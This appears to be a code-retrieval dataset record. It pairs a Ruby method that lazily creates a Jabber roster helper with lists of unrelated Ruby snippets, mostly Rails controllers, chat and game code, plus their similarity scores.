"def initialize (wiek, waga, nazwisko)\n\t\t@wiek = wiek\n\t\t@wlosy = \"blond\"\n\t\t@waga = waga\n\t\t@narod = \"Ukrainka\"\n\t\t@nazwisko = nazwisko\n\n\t\tpowiedz \"hej, jestem Julia #{@nazwisko}\"\n\tend",
"def call_wig\n wig\n end",
"def mostra_tudo\n apius.mostra_resumo\n apide.mostra_resumo\n apifr.mostra_resumo\n apimt.mostra_resumo\n apies.mostra_resumo\n apigm.mostra_resumo\n apibc.mostra_resumo\n end",
"def An()\n return @RownanieWielomianu.first.Wspolczynnik\n end",
"def coolingtower\n\n end",
"def monica\n end",
"def index\n\n @led\n @servo\n\n end",
"def index\n @wypozyczenies = Wypozyczenie.all\n end",
"def wedding_params\n params.require(:wedding).permit(:nombre1, :nombre2, :fecha_matri, :origen, :url_vals, :comentarios, :telefono_novia, :telefono_novio, :email_novia, :email_novio, :tipo_descuento, :floordesign, :rut_novia, :rut_novio, :instagram_novia, :maspersonas, :contacto, :comentarios_pago, :song, :avatar, :user_id)\n end",
"def wig\n 'I have regular wig.'\n end",
"def go\n puts \"Notre soldat #{@joueur_1.nom} va jouer en premier\" #on indique quel joueur joue en premier\n sleep 1 #permet d'avoir un petit temps d'attente de 1sec\n turn # On fait appel à la def turn ci-dessous\n end",
"def set_pingguodingshirenwu\n @pingguodingshirenwu = Pingguodingshirenwu.find(params[:id])\n end",
"def set_walikela\n @walikela = Walikela.find(params[:id])\n end",
"def sommaire\n @periode = Periode.find(params[:id])\n @periode.linkPaiesToFeuilles\n render(:layout => 'vide')\n end",
"def rossini; end",
"def show\n @sotrudniki = Sotrudniki.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sotrudniki }\n end\n end",
"def index\n @wises = Wise.all\n end",
"def publico\n puts \"e aqui el metodo publico\"\n end",
"def show\n @synonyme = @stoff.stoff_synonyms.pluck(:synonym)\n @transporte = Transport.where(\"stoff_id = ?\", @stoff).order(datum: :desc).paginate(page: params[:page], per_page: 20)\n end",
"def unsichtbar_machen()\n end",
"def set_watson\n @watson = Watson.find(params[:id])\n end",
"def set_watson\n @watson = Watson.find(params[:id])\n end",
"def waves \n \"waves\" \n end",
"def set_wine\n @wine = Wine.find(params[:id])\n end",
"def set_wine\n @wine = Wine.find(params[:id])\n end",
"def set_wine\n @wine = Wine.find(params[:id])\n end",
"def set_wine\n @wine = Wine.find(params[:id])\n end",
"def set_wine\n @wine = Wine.find(params[:id])\n end",
"def set_wine\n @wine = Wine.find(params[:id])\n end",
"def set_wine\n @wine = Wine.find(params[:id])\n end",
"def set_wine\n @wine = Wine.find(params[:id])\n end",
"def set_wine\n @wine = Wine.find(params[:id])\n end",
"def set_wine\n @wine = Wine.find(params[:id])\n end",
"def set_wine\n @wine = Wine.find(params[:id])\n end"
] |
[
"0.6209968",
"0.6011667",
"0.5964127",
"0.5900237",
"0.5812383",
"0.5801276",
"0.5718616",
"0.56385404",
"0.5621147",
"0.561796",
"0.56135535",
"0.5592794",
"0.55686975",
"0.5567674",
"0.5560629",
"0.55571514",
"0.55571514",
"0.5545838",
"0.55435",
"0.554324",
"0.550502",
"0.5451795",
"0.5451361",
"0.5431745",
"0.5431745",
"0.5424386",
"0.54037493",
"0.53911513",
"0.5368648",
"0.5364602",
"0.53488016",
"0.5340981",
"0.5330744",
"0.5323351",
"0.53032243",
"0.53012764",
"0.5296436",
"0.5293359",
"0.5292605",
"0.5292605",
"0.5268594",
"0.5268594",
"0.52651113",
"0.5257244",
"0.52270705",
"0.52185005",
"0.5217126",
"0.52149016",
"0.5209819",
"0.5205515",
"0.52015954",
"0.5189215",
"0.5183635",
"0.5173601",
"0.5172869",
"0.5165359",
"0.51585495",
"0.5150455",
"0.51306254",
"0.5121411",
"0.5121411",
"0.5121411",
"0.5121411",
"0.51179117",
"0.5117624",
"0.51132154",
"0.5103697",
"0.51022846",
"0.5101966",
"0.50997823",
"0.50980353",
"0.5095925",
"0.5094487",
"0.50900036",
"0.50862217",
"0.5085825",
"0.5083234",
"0.5075682",
"0.50756204",
"0.507432",
"0.5071276",
"0.5063995",
"0.5047487",
"0.5044318",
"0.5041618",
"0.50408316",
"0.5034586",
"0.5034586",
"0.5034098",
"0.5033673",
"0.502845",
"0.502845",
"0.502845",
"0.502845",
"0.502845",
"0.502845",
"0.502845",
"0.502845",
"0.502845",
"0.502845"
] |
0.62334347
|
0
|
Zwraca roster polaczenia, w przypadku braku, tworzy nowy Typ zwracany [Jabber::Roster::Helper]
|
def roster
return @roster if @roster
self.roster=Roster::Helper.new(@klient)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def roster\r\n @roster\r\n end",
"def roster\r\n @roster\r\n end",
"def roster\n end",
"def roster\n @roster\n end",
"def roster\n @roster\n end",
"def my_roster\n client.roster\n end",
"def roster(m)\n return unless @game\n\n m.reply I18n.mixer.roster(show_players)\n end",
"def roster(room)\n [user]\n end",
"def witcher; end",
"def roster(country: 'Egypt', type: 'coach')\n fetch(\"world_cup.rosters.#{country}.#{type}\")\n end",
"def roster(country: T.unsafe(nil), type: T.unsafe(nil)); end",
"def convert_roster_format(roster)\n roster = [\n \t[\"Number\", \"Name\", \"Position\", \"Points per Game\"],\n\t{\"Number\" => 12, \"Name\" => \"Joe Schmo\", \n\t\t\"Position\" => \"Center\", \"Points per Game\" => [14, 32, 7, 0, 23]},\n\t{\"Number\" => 9, \"Name\" => \"Ms. Buckets\", \n\t\t\"Position\" => \"Point Guard\", \"Points per Game\" => [19, 0, 11, 22, 0]},\n\t{\"Number\" => 31, \"Name\" => \"Harvey Kay\", \n\t\t\"Position\" => \"Shooting Guard\", \"Points per Game\" => [0, 30, 16, 0, 25]},\n\t{\"Number\" => 7, \"Name\" => \"Sally Talls\", \n\t\t\"Position\" => \"Power Forward\", \"Points per Game\" => [18, 29, 26, 31, 19]},\n {\"Number\" => 22, \"Name\" => \"MK DiBoux\", \n \t\"Position\" => \"Small Forward\", \"Points per Game\" => [11, 0, 23, 17, 0] }\n]\nend",
"def roster\n @characters = policy_scope(Character)\n .includes(user: :rank)\n .where(main: true)\n authorize @characters\n\n # Get only the characters over Trial rank and shown.\n @characters = @characters.select do |character|\n character.user.shown? && character.user.rank.try(:>=, 'Trial')\n end\n\n # Group and sort the characters.\n @classes = @characters.group_by(&:klass).each do |_klass, characters|\n characters.sort! { |a, b| b.user.rank <=> a.user.rank }\n end\n end",
"def roar\n if @type == \"grizzly\"\n return \"#{bear_name} is Rooooooaring\"\nelse\n puts \"#{bear_name} is roaring\"\nend\nend",
"def roster(chatid)\n return self.class.can_has_chat_server.roster(:id => chatid)\n end",
"def roster(target)\n room_roster target.id\n end",
"def roster_query\n stream.requested_roster!\n stream.write(stream.user.to_roster_xml(self['id']))\n end",
"def set_roster\n @roster = Roster.find(params[:id])\n end",
"def set_roster\n @roster = Roster.find(params[:id])\n end",
"def set_roster\n @roster = Roster.find(params[:id])\n end",
"def set_roster\n @roster = Roster.find(params[:id])\n end",
"def set_roster\n @roster = Roster.find(params[:id])\n end",
"def L\r\n return \"ROOM\"\r\nend",
"def wyslij_wiadomosc(jid,wiadomosc,typ=:chat)\n\tkontakty(jid) do |znajomy|\n\t\tunless subskryp? znajomy\n\t\t\tdodaj_do_listy(znajomy.jid)\n\t\t\treturn dodaj_do_wyslania_po_akceptacji(znajomy.jid,wiadomosc,typ)\n\t\tend\n\t\twiad=Message.new(znajomy.jid)\n\t\twiad.type=typ\n\t\twiad.body=wiadomosc\n\t\twyslij(wiad)\n\tend\n end",
"def show\n @rooster = Rooster.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rooster }\n end\n end",
"def roster\n if validateurl({\"name\": params[:name]})\n @teachername = params[:name]\n teacherid = Teacher.select(\"id\").where([\"name = ?\", @teachername]).ids[0].to_s\n @courses = Course.all.where([\"teacher_id = ?\", teacherid])\n end\n end",
"def roster *player\n #this is below also one kind of return value\n player\nend",
"def fetch_roster\n roster = JSON.parse(RestClient.get(get_url))\n\n roster[\"teams\"].\n each do |roster_hash|\n roster_hash[\"roster\"][\"roster\"].\n each do |player|\n player_name = /(?<first_name>[^\\s]+)\\s(?<last_name>[^\\s]+)/.\n match( player[\"person\"][\"fullName\"] )\n Player.\n find_or_create_by(\n player_id: player[\"person\"][\"id\"],\n first_name: player_name[\"first_name\"],\n last_name: player_name[\"last_name\"] )\n end\n end #each\n end",
"def romeo_and_juliet; end",
"def get_rover_details; end",
"def room; end",
"def candidatGrille()\n\n\tend",
"def roster(resource=nil)\n return if @resources.include? resource # we know it\n @logger.warn 'Sending roster for %s' % resource\n @cache[:chats].each_key do |chat| self.process_status_update(chat) end\n @xmpp.send_presence(@jid, nil, nil, nil, \"Logged in as: %s\" % @session[:login]) \n @resources << resource\n end",
"def set_battle_roster\n @battle_roster = BattleRoster.find(params[:id])\n end",
"def set_roster_id (roster_square)\n @roster_id = RosterSquare.find(roster_square.square_id).screen_name\n end",
"def setup_roster!\n # Clean the roster\n self.connection.roster.items.each_pair do |jid, roster_item|\n jid = jid.strip.to_s\n unless self.class.contacts.include?( jid )\n self.connection.remove( jid )\n end\n end\n \n # Add missing contacts\n self.class.contacts.each do |contact|\n unless self.connection.subscribed_to?( contact )\n self.connection.add( contact )\n self.connection.roster.accept_subscription( contact )\n end\n end\n end",
"def winner(returned_type)\n if returned_type == :basic\n if @player1.deck.cards[0].rank > @player2.deck.cards[0].rank\n @player1\n else\n @player2\n end\n elsif returned_type == :war\n if @player1.deck.cards[2].rank > @player2.deck.cards[2].rank\n @player1\n else\n @player2\n end\n else\n \"No Winner\"\n end\n end",
"def update_roster\n items = self.xpath('ns:query/ns:item', 'ns' => NS)\n raise StanzaErrors::BadRequest.new(self, 'modify') if items.size != 1\n item = items.first\n\n jid = JID.new(item['jid']) rescue (raise StanzaErrors::JidMalformed.new(self, 'modify'))\n raise StanzaErrors::BadRequest.new(self, 'modify') if jid.empty? || !jid.bare?\n\n if item['subscription'] == 'remove'\n remove_contact(jid)\n return\n elsif item['subscription'] == 'removed'\n was_removed_contact(jid) if restored?\n return\n end\n\n raise StanzaErrors::NotAllowed.new(self, 'modify') if jid == stream.user.jid.bare\n groups = item.xpath('ns:group', 'ns' => NS).map {|g| g.text.strip }\n raise StanzaErrors::BadRequest.new(self, 'modify') if groups.uniq!\n raise StanzaErrors::NotAcceptable.new(self, 'modify') if groups.include?('')\n\n contact = stream.user.contact(jid)\n unless contact\n contact = Contact.new(jid: jid)\n stream.user.roster << contact\n end\n contact.name = item['name']\n contact.groups = groups\n storage.save_user(stream.user)\n stream.update_user_streams(stream.user)\n send_result_iq\n push_roster_updates(stream.user.jid, contact)\n end",
"def groups\n\nroster = [ \"Caroline Artz\", \"Syema Ailia\", \"Alan Alcesto\", \"Daniel Andersen\", \"James Artz\", \"Darius Atmar\", \"Brian Bensch\", \"Nicola Beuscher\", \"Kris Bies\", \"Logan Bresnahan\", \"William Brinkert\", \"Laura C.\", \"Scott Chou\", \"Bernice Anne W Chua\", \"Abraham Clark\", \"Jon Clayton\", \"Kevin Corso\", \"Jacob Crofts\", \"John D.\", \"Katy D.\", \"Emmanuel Kaunitz\", \"Amaar Fazlani\", \"Solomon Fernandez\", \"Edward Gemson\", \"Jamar Gibbs\", \"Chris Gomes\", \"Will Granger\", \"Christopher M. Guard\", \"Adell H.\", \"James Hwang\", \"Matt H.\", \"Michael H.\", \"Peter H.\", \"Ryan Ho\", \"Igor Kazimirov\", \"Walter Kerr\", \"Karla King\", \"Becky Lehmann\", \"Malia Lehrer\", \"Carolina Medellin\", \"Timothy Meixell\", \"Lorena Mesa\", \"Chris Miklius\", \"Joshua Monzon\", \"Shea Munion\", \"Bryan Munroe\", \"Neal Peters\", \"Trevor Newcomb\", \"Aleksandra Nowak\", \"Morgan O.\", \"Fatma Ocal\", \"Van Phan\", \"Luis Fernando Plaz\", \"Nalie Polen\", \"Alicia Quezada\", \"Celeen R.\", \"Jessie Richardson\", \"Gary S.\", \"Iulia S.\", \"Nimi Samocha\", \"Zach Schatz\", \"Schwartz\", \"Pratik Shah\", \"Josh Shin\", \"Shawn Spears\", \"Sasha ilor\", \"Nil Thacker\", \"Nasha Thapliyal\", \"Sabrina Unrein\", \"Brian Wagner\", \"Clinton Weber\", \"Gregory Wehmeier\", \"Michael Whelpley\", \"Alexander Williams\", \"Peter N Wood\", \"Caitlyn Y.\", \"Ryan Zell\",\"random name\"]\n#initial solution\n\n=begin\n group_arrays = []\n i = 0\n while i < roster.length\n group_arrays << roster[i..i+3]\n i += 4\n end\n\n extra = []\n i = 0\n group_arrays.each { |group|\n if group.length < 3\n extra = group #take contents of group and add it to a different group\n if group_arrays[i].length == 5\n i += 1\n end\n group_arrays[i].concat(extra)\n group.pop\n end\n }\n puts group_arrays.to_s\nend\n\n=end\n\n# If I run this program 3 times, it will return the exact same groups\n#The program could be set up to store past groups, but I'd have to make some updates\n#no groups would be impacted by 1 person leaving, once 2 people left I could run the code again though.\n#biggest issue is I can empty the last array, but it doesn't delete the brackets. so that's a thing.\n\n#refactored solution:\n\n group_arrays = []\n while roster.length > 0\n group_arrays << roster.slice!(0..3)\n end\n\n left_overs = group_arrays[-1]\n\n i = 0\n group_arrays.each { |array|\n if left_overs.length < 3 && left_overs.length > 0\n group_arrays[i].push(left_overs[0])\n left_overs.shift\n if group_arrays[i].length == 5\n i += 1\n end\n elsif array.length > 5\n left_overs.push(array[-1])\n array.pop\n end\n }\n puts group_arrays.to_s\nend",
"def twitt\n if PLANETOID_CONF[:twitter][:users][:send_twitts]\n twit=Twitter::Base.new(Twitter::HTTPAuth.new(PLANETOID_CONF[:twitter][:user], PLANETOID_CONF[:twitter][:password]))\n twit.update \"#{PLANETOID_CONF[:twitter][:users][:prefix]} #{self.name} #{PLANETOID_CONF[:site][:url]}/#{self.slug}\" \n end\n end",
"def random_roberto_speech\n skip_authorization\n respond_to do |format|\n format.json do\n render json: { roberto_speech: \"#{RobertoBarros.in_ingrish} #{direction_for_active_cell(@play)}\" }\n end\n end\n end",
"def tellafriend (titel, werkurl, naam, email, bericht, sender, sent_at = Time.now)\n @artwork_title, @artwork_url, @message, @receiver, @sender = titel, werkurl, bericht, naam, sender\n\n @mail_content = Intmail.find_by_id(5)\n subject = @mail_content.title.sub('<sender_username>', \"#{sender.voornaam} #{sender.achternaam}\")\n mail(to: email, bcc: '[email protected]', subject: subject)\n end",
"def tu_turno\n Jugador.tu_turno\n end",
"def type\n\t\treturn 'telegram'\t\n\tend",
"def add_player_to_roster\n response = Hash.new\n profileId = params[:profile_id]\n teamId = params[:team_id]\n profile = Profile.find_by_id(profileId)\n roster = Roster.new(\n :team_id => teamId,\n :profile_id => profileId\n )\n if roster.valid?\n roster.save\n response[:success] = true\n response[:profile_html] = render_to_string \"teams/_roster_profile.haml\", :layout => false, :locals => { :roster => roster}\n else\n response[:errors] = roster.errors.full_messages\n end\n respond_to do |format|\n format.json { render :json=> response}\n end\n end",
"def twitter(name: T.unsafe(nil), nickname: T.unsafe(nil), uid: T.unsafe(nil)); end",
"def usun_z_listy(*jid)\n\tkontakty(*jid) do |usun|\n\t\tusun.usun_subskrypcje\n\t\treq=Iq.new_rosterset\n\t\treq.query.add(Roster::RosterItem.new(usun.jid,nil,:remove))\n\t\twyslij(req)\n\tend\n end",
"def test_widget_type\n widget = @twizo.create_registration_widget(nil)\n widget.params.allowed_types = ['sms']\n\n test_recipient = NUMBER1\n\n widget.params.recipient = test_recipient\n\n widget = widget.send\n\n assert_equal test_recipient, widget.recipient\n assert_equal ['sms'], widget.allowedTypes\n end",
"def show\n @roster = Roster.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @roster }\n end\n end",
"def tweet\n\t\treturn \"Polly want's a cracker.\"\n\tend",
"def show\n @id = @my_team.team_id\n @team_name = Teams.find(@id)\n roster = RestClient.get(\"https://statsapi.web.nhl.com/api/v1/teams/#{@id}/roster\")\n @roster = JSON.parse(roster)[\"roster\"]\n end",
"def chat_type\n return @chat_type\n end",
"def ruvithrottir\n Apis.client.get('/tv/ruvithrottir')\n end",
"def roster\n @team = Team.find(params[:id], :include => :players)\n @players = @team.players\n end",
"def room\n end",
"def find_roster(jid)\n jid = JID.new(jid).bare\n redis.hgetall(\"roster:#{jid}\") do |roster|\n contacts = roster.map do |jid, json|\n contact = JSON.parse(json) rescue nil\n Contact.new(\n :jid => jid,\n :name => contact['name'],\n :subscription => contact['subscription'],\n :ask => contact['ask'],\n :groups => contact['groups'] || []) if contact\n end.compact\n yield contacts\n end\n end",
"def new\n @rooster = Rooster.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @rooster }\n end\n end",
"def to_s\n \"#{@name} is a robot of type #{@type} from #{@origin}\"\n end",
"def roster_params\n params.require(:roster).permit(:name, :qb1, :rb1, :rb2, :wr1, :wr2, :te, :flex, :utility, :pk, :bench1, :bench2, :bench3, :bench4, :bench5, :bench6)\n end",
"def dodaj_do_wyslania_po_akceptacji(jid,wiadomosc,typ)\n\twiad={:do => jid, :wiadomosc => wiadomosc, :typ => typ}\n\t@wiadomosci_do_wyslania << wiad\n end",
"def roster_params\n params.require(:roster).permit(:team_id, :profile_id, :date_created, :date_updated, :is_approved, :is_player, :is_rep, :is_manager, :is_active, :is_confirmed, :teamsnap_id)\n end",
"def lesson_room\n lesson.room_text\n end",
"def sender\n self.user_type.constantize.find(self.user_id)\n end",
"def tweet\n return \"chirp chirp\"\n end",
"def roar\n return \"ROAR!\"\n end",
"def returnToRealm(bot, mongo, army)\n user = mongo[:users].find(:_id => army[:userId]).first\n\n str = \"**Your army returned from battle.**\\n\"\n\n str += \"__Soldiers:__ \"\n $settings[:soldierTypes].each do |soldierType|\n if army[soldierType.pluralize.to_sym].to_i > 0\n str += number_with_commas(army[soldierType.pluralize.to_sym].to_i)+ \" \"\n\n if army[soldierType.pluralize.to_sym].to_i == 1\n soldierType\n else\n soldierType.pluralize\n end\n\n str += \" \"\n end\n end\n str += \"\\n\"\n\n if army[:winnings] # winnings can be nil\n str += \"__Stole:__ \"\n str += army[:winnings][:gold].round.to_s+\" gold \"\n $settings[:resourceTypes].each do |resourceType|\n if army[:winnings][resourceType.to_sym] > 0.0\n str += number_with_commas(army[:winnings][resourceType.to_sym].round(1))+\" \"+resourceType+\" \"\n end\n end\n str += \"\\n\"\n end\n\n sendPM(bot, user[:pmChannelId], str)\n\n # add army back to user\n set = {}\n $settings[:soldierTypes].each do |soldierType|\n set[soldierType.pluralize.to_sym] = [user[soldierType.pluralize.to_sym] + army[soldierType.pluralize.to_sym].to_i, 0].max\n end\n\n if army[:winnings]\n set[:gold] = [user[:gold] + army[:winnings][:gold].to_f, 0.0].max\n\n $settings[:resourceTypes].each do |resourceType|\n set[resourceType.to_sym] = [user[resourceType.to_sym] + army[:winnings][resourceType.to_sym].to_f, 0.0].max\n end\n end\n\n mongo[:users].update_one({:_id => army[:userId]}, {'$set' => set})\n\n updateNetworthFor(mongo, user[:discordId])\nend",
"def create\n @roster = Roster.new(roster_params)\n @roster.name = \"week of #{@roster.start_time.strftime(\"%m/%d/%Y\")}\"\n @roster.end_time = @roster.start_time.end_of_week\n\n respond_to do |format|\n if @roster.save\n format.html { redirect_to @roster, notice: 'Roster was successfully created.' }\n format.json { render :show, status: :created, location: @roster }\n else\n format.html { render :new }\n format.json { render json: @roster.errors, status: :unprocessable_entity }\n end\n end\n end",
"def csca_teleport_type\n @note =~ /<csca tele: (.*)>/i\n return $1.to_sym\n end",
"def roar\n puts @name + \" goes ROOOAAARRR!\"\n end",
"def get_renter\n @renter = User.find(session[:user_id]).renter\n @user = User.find(session[:user_id])\n end",
"def mailto_class()\n if \n User.firstname and @@item.shepherd and\n User.firstname.start_with? @@item.shepherd.downcase()\n then\n return 'btn-primary'\n else\n return 'btn-link'\n end\n end",
"def load_tailors\n\t\t@shop_name=params[:shop_name]\n\t\t@title=params[:title]\n\t\tuser = User.where(:user_type => \"tailor\", :shop_name => @shop_name, :title => @title).select(\"id\",\"username\",\"email\")\n\t\tif user.nil?\n\t\t\trender json: {message: \"No any tailor in this group\"}\n\t\telse\t\t\t\n\t\t \tdetails = []\n\t\t\tuser.each do |chat|\n\t\t\t\tdetails << { :id => chat.id, :type => chat.username, :email => chat.email}\n\t\t\tend\n\t\t\trender :json => details.to_json\t\n\t\tend\n\tend",
"def winner\n\n if type == :basic\n if @player_1.deck.cards[0].rank > @player_2.deck.cards[0].rank\n return @player_1\n else\n return @player_2\n end\n elsif type == :mutually_assured_destruction\n return \"No winner.\"\n elsif type == :war\n if @player_1.deck.cards[2].rank > @player_2.deck.cards[2].rank\n return @player_1\n else\n return @player_2\n end\n end\n end",
"def payments_roster(div_roster, div_name, toEmail, ccEmail)\n @div_roster = div_roster\n @div_name = div_name\n mailInfo = getEmailDefaults(\"Eligible Rosters for #{@div_name}\", toEmail, ccEmail)\n mail(mailInfo)\n end",
"def roster(season_id = nil)\n self.roster_spots.where(season_id: season_id ? season_id : Season.current)\n end",
"def create\n @rooster = Rooster.new(params[:rooster])\n\n respond_to do |format|\n if @rooster.save\n format.html { redirect_to @rooster, notice: 'Rooster was successfully created.' }\n format.json { render json: @rooster, status: :created, location: @rooster }\n else\n format.html { render action: \"new\" }\n format.json { render json: @rooster.errors, status: :unprocessable_entity }\n end\n end\n end",
"def direccion_correspondencia\n dir = nil\n if self.class.to_s=='ClientePersona'\n dir = self.persona.direcciones.find_by_correspondencia(true)\n dir = self.persona.direcciones.find_by_tipo('H') if dir.nil?\n dir = self.persona.direcciones.find_by_tipo('O') if dir.nil?\n dir = self.persona.direcciones.find_by_tipo('T') if dir.nil?\n else\n dir = self.empresa.direcciones.find_by_correspondencia(true)\n dir = self.empresa.direcciones.find_by_tipo('P') if dir.nil?\n dir = self.empresa.direcciones.find_by_tipo('S') if dir.nil?\n dir = self.empresa.direcciones.find_by_tipo('L') if dir.nil?\n dir = self.empresa.direcciones.find_by_tipo('D') if dir.nil?\n dir = self.empresa.direcciones.find_by_tipo('O') if dir.nil?\n end\n return dir\n end",
"def winner\n if type == :basic\n if get_rank(@player1, 0) > get_rank(@player2, 0)\n @player1\n else\n @player2\n end\n elsif type == :war\n if get_rank(@player1, 2) > get_rank(@player2, 2)\n @player1\n else\n @player2\n end\n elsif type == :mutually_assured_destruction\n 'No Winner'\n end\n end",
"def type\n\n if @player_1.deck.cards[0].rank != @player_2.deck.cards[0].rank\n return :basic\n elsif @player_1.deck.cards[2].rank == @player_2.deck.cards[2].rank\n return :mutually_assured_destruction\n else\n return :war\n end\n end",
"def set_group_user_rooster\n @group_user_rooster = GroupUserRooster.find(params[:id])\n end",
"def tongue_twister; end",
"def set_roster_list\n @roster_list = RosterList.find(params[:id])\n end",
"def set_roster_system\n @roster_system = RosterSystem.find(params[:id])\n end",
"def type_name_bill\n type_movement ? type_movement.name : 'N/a'\n end",
"def play\n\t\tboard = Board.new # cree une instance de la class board\n\t\tfor i in 1..9 # fait une boucle qui vas de 1 a 9, quand on arrive a 9 ca veut dire que toutes les cases du tableau on ete remplis. \n\t\t\tboard.display_stat(@player_one.return_name, @player_two.return_name, @player_one.return_number_of_win, @player_two.return_number_of_win, @player_two.return_number_of_egality) # on appel la methode display stats qui vas servire a affichier les statistiques, nombre de parties, nom des joueurs, leur nombre de victoires...\n\t\t\tif @who_play == 1 # on cree une condition qui vas servire a afficher le nom du joueur qui doit jouer ce tours.\n\t\t\t\tputs \"A toi de jouer #{@player_one.return_name.colorize(:green)} !\\n\\n\\n\"\n\t\t\telse\n\t\t\t\tputs \"A toi de jouer #{@player_two.return_name.colorize(:green)} !\\n\\n\\n\"\n\t\t\tend\n\t\t\tboard.display_board(@board_case) # on affiche le plateau du jeux\n\t\t\tselect_board_case # on appel la methode qui demande a l'utilisateur de choisire la case sur laquel il vas jouer\n\t\t\tif is_win == true # on fait une condition qui appel la methode is_win, cette methode verifi si il y a un cas de victoire\n\t\t\t\tboard.display_board(@board_case) # on affiche le plateau une derniere fois pour montrer la derniere modification\n\t\t\t\tif @who_play == 1 # on fait une condition qui verifie qui a gagner\n\t\t\t\t\tputs \"le joueur #{@player_one.return_name} a gagner cette partie!\" # si c'est le joueur 1 qui a gagner on dit qu'il a gagner, on affiche son nom\n\t\t\t\t\t@player_one.increments_number_of_win\t# on incremente du nombre de victoire \n\t\t\t\telse\n\t\t\t\t\tputs \"le joueur #{@player_two.return_name} a gagner cette partie!\"\n\t\t\t\t\t@player_two.increments_number_of_win\n\t\t\t\tend\n\t\t\t\tbreak # On quitte la boucle car il y a eu une victoire\n\t\t\tend\n\t\t\t@who_play == 1 ? @who_play = 2 : @who_play = 1 # cette ligne sert a faire que c'est a l'autre joueur de jouer (c'est une condition de type ternaire)\n\t\tend\n\t\tif is_win == false # si on sort de la boucle et qu'il n'y a aucune victoire alor c'est un match nul\n\t\t\t@player_one.increments_number_of_egality # on incremente la variable qui compte le nombres de matchs nuls\n\t\t\t@player_two.increments_number_of_egality\n\t\t\tputs \"MATCH NULLLLLLL\".colorize(:red) # on affiche que c'est un match nul\n\t\tend\n\tend",
"def mailto_class()\n if \n User.firstname and @@item.shepherd and\n User.firstname.start_with? @@item.shepherd.downcase()\n then\n if @@item.missing and not Posted.get(@@item.title).empty?\n return 'btn-link'\n else\n return 'btn-primary'\n end\n elsif\n @@item.owner == User.username and not @@item.missing and\n @@item.comments.empty?\n then\n return 'btn-primary'\n else\n return 'btn-link'\n end\n end",
"def get_race(page)\n # Get the line that contains the player's race\n race = page.grep(/chara_profile_title/)\n # Make the Race the beginning of the line\n race1 = race[0][36..-1]\n # Get just the race (the first word)\n race2 = race1.split[0]\n # If race is Au Ra, it has a space in it, re-add Ra back\n if race2 == 'Au'\n race2 = 'Au Ra'\n end\n # Un-escape the ' in Miqo'te\n race2.sub(''',\"'\")\n end",
"def get_race(page)\n # Get the line that contains the player's race\n race = page.grep(/chara_profile_title/)\n # Make the Race the beginning of the line\n race1 = race[0][36..-1]\n # Get just the race (the first word)\n race2 = race1.split[0]\n # If race is Au Ra, it has a space in it, re-add Ra back\n if race2 == 'Au'\n race2 = 'Au Ra'\n end\n # Un-escape the ' in Miqo'te\n race2.sub(''',\"'\")\n end",
"def mailto_class()\n if\n User.firstname and @@item.shepherd and\n User.firstname.start_with? @@item.shepherd.downcase()\n then\n if @@item.missing and not Posted.get(@@item.title).empty?\n return 'btn-link'\n else\n return 'btn-primary'\n end\n elsif\n @@item.owner == User.username and not @@item.missing and\n @@item.comments.empty?\n then\n return 'btn-primary'\n else\n return 'btn-link'\n end\n end",
"def rafraichir\n\t\tj = @jeu.joueur\n\t\tpos = j.position\n\n\t\[email protected]( @jeu.carte.vueJoueur(pos,15) )\n\t\[email protected]( @jeu.carte.vueJoueur(pos,@interface.taille) )\n\t\[email protected]( j.pointsDeVie, j.pointsDeVieMax )\n\t\[email protected]( j.endurance, j.enduranceMax )\n\t\[email protected]( j.score )\n\t\[email protected]( @jeu.nbTour )\n\t\[email protected]( j.or )\n\t\tif j.position.objet\n\t\t\[email protected]( \"Ramasser #{j.position.objet.getNom}\" )\n\t\telsif j.position.pnj\n\t\t\[email protected]( j.position.pnj.actionNom )\n\t\telsif j.position.type.nom == \"herbe\"\n\t\t\[email protected]( \"Regarder l'herbe pousser\" )\n\t\telsif j.position.type.nom == \"desert\"\n\t\t\[email protected]( \"Compter les grains de sable\" )\n\t\telsif j.position.type.nom == \"eau\"\n\t\t\[email protected]( \"Faire la planche\" )\n\t\telse\n\t\t\[email protected]( \"Rien à faire\" )\n\t\tend\n\tend",
"def select_room\n\n # These two lines create an array for the menu to display the room names\n menu = []\n @rooms.each { |room| menu.push(room.type)} \n\n # this displays the menu using the TTY-Prompt gem. It returns the selected room\n selection = TTY::Prompt.new.select(\"Choose a room type:\", menu, cycle: true, marker: '>', echo: false)\n @rooms.each { |room| return room if room.type == selection }\n end",
"def select_room\n\n # These two lines create an array for the menu to display the room names\n menu = []\n @rooms.each { |room| menu.push(room.type)} \n\n # this displays the menu using the TTY-Prompt gem. It returns the selected room\n selection = TTY::Prompt.new.select(\"Choose a room type:\", menu, cycle: true, marker: '>', echo: false)\n @rooms.each { |room| return room if room.type == selection }\n end",
"def initialize_roster \n Nokogiri::HTML(open(@url)).css(\"tbody tr\").each do |tr|\n hash = {name: \"\", number: \"\", unit: \"\", position: \"\", height: \"\", weight: \"\", age: \"\", team: self, url: \"\"}\n array = tr.css(\"td\")[0..5]\n hash[:name] = array[0].css('a').attribute('title').value\n hash[:number] = array[1].text.strip.to_i\n hash[:position] = array[2].text.strip\n hash[:height] = array[3].text.strip\n hash[:weight] = array[4].text.strip.to_i\n hash[:age] = array[5].text.strip.to_i\n hash[:url] = @url + tr.css(\"a\").attribute(\"href\").value.split(\"/\")[-1] + \"/\"\n new_player = Player.new(hash)\n @roster << new_player\n end\n @roster\n end",
"def set_socioeduk_tipo_telefone\n @socioeduk_tipo_telefone = Socioeduk::TipoTelefone.find(params[:id])\n end",
"def type\n {\n '@' => :user_id,\n '!' => :room_id,\n '$' => :event_id,\n '+' => :group_id,\n '#' => :room_alias\n }[sigil]\n end",
"def type\n {\n '@' => :user_id,\n '!' => :room_id,\n '$' => :event_id,\n '+' => :group_id,\n '#' => :room_alias\n }[sigil]\n end",
